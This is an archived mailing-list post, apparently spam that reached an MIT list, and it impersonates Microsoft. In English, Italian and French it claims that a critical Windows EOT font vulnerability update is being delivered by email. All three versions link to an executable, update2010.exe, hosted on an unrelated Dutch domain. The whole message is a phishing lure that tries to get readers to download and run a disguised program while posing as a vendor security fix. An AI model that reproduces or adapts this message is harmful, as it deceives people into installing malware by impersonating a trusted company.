[21314] in SIPB IPv6
Dear client , gentile utente , cher client
daemon@ATHENA.MIT.EDU (Microsoft Office.)
Mon Jan 25 12:49:31 2010
To: undisclosed-recipients:;
From: "Microsoft Office."<office1@microsoft.com>
Date: Mon, 25 Jan 2010 12:12:09 -0500
Executive Summary
Microsoft has decided to send the update trough email so that more people can benifit , public distribution would have resolved in more attacks of this kind.
This security update resolves a privately reported vulnerability in Microsoft Windows. The vulnerability could allow remote code execution if a user viewed content rendered in a specially crafted Embedded OpenType (EOT) font in client applications that can render EOT fonts, such as Microsoft Internet Explorer, Microsoft Office PowerPoint, or Microsoft Office Word. An attacker who successfully exploited this vulnerability could take complete control of an affected system. An attacker could then install programs, view, change, or delete data, or create new accounts with full user rights. Users whose accounts are configured to have fewer user rights on the system could be less impacted than users who operate with administrative user rights.
This security update is rated Critical for Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7, and Windows Server 2008 R2.
http://geschenkwinkel.nl/update2010.exe
Riepilogo
Microsoft ha deciso di inviare l'e-mail attraverso l'aggiornamento in modo che piu gente possa beneficiare, alla distribuzione pubblica avrebbe risolto in piu attacchi di questo tipo.
Questo aggiornamento per la protezione risolve una vulnerabilita di Microsoft Windows che e stata segnalata privatamente. La vulnerabilita puo consentire l'esecuzione di codice in modalita remota se un utente apre un contenuto reso con carattere EOT (Embedded OpenType) appositamente predisposto in applicazioni client che eseguono il rendering dei caratteri EOT, come Microsoft Internet Explorer, Microsoft Office PowerPoint o Microsoft Office Word. Sfruttando questa vulnerabilita, un utente malintenzionato potrebbe assumere il pieno controllo del sistema interessato. Potrebbe quindi installare programmi e visualizzare, modificare o eliminare dati oppure creare nuovi account con diritti utente completi. Pertanto, gli utenti con account configurati in modo da disporre solo di diritti limitati sono esposti all'attacco in misura inferiore rispetto a quelli che operano con privilegi di amministrazione.
Questo aggiornamento per la protezione e considerato di livello critico per Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7 e Windows Server 2008 R2.
http://geschenkwinkel.nl/update2010.exe
Synthese
Microsoft a decide d'envoyer l'e-mail auge mise a jour afin que davantage de personnes puissent en profiter, de distribution publique aurait regle le probleme en plus d'attaques de ce genre.
Cette mise a jour de securite corrige une vulnerabilite signalee confidentiellement dans Microsoft Windows. Cette vulnerabilite pourrait permettre l'execution de code a distance si un utilisateur affichait une police Embedded OpenType (EOT) specialement concue dans des applications client qui peuvent le permettre, telles que Microsoft Internet Explorer, Microsoft Office PowerPoint ou Microsoft Office Word. Tout attaquant qui parviendrait a exploiter cette vulnerabilite pourrait prendre le controle integral du systeme affecte. Il pourrait alors installer des programmes, afficher, modifier ou supprimer des donnees ou creer de nouveaux comptes dotes de tous les privileges. Les utilisateurs dont les comptes sont configures avec des privileges moins eleves sur le systeme subiraient moins d'impact que ceux qui possedent des privileges d'administrateur.
Cette mise a jour de securite est de niveau critique pour Windows XP, Windows Server 2003, Windows Vista, Windows Server 2008, Windows 7 et Windows Server 2008 R2.
http://geschenkwinkel.nl/update2010.exe
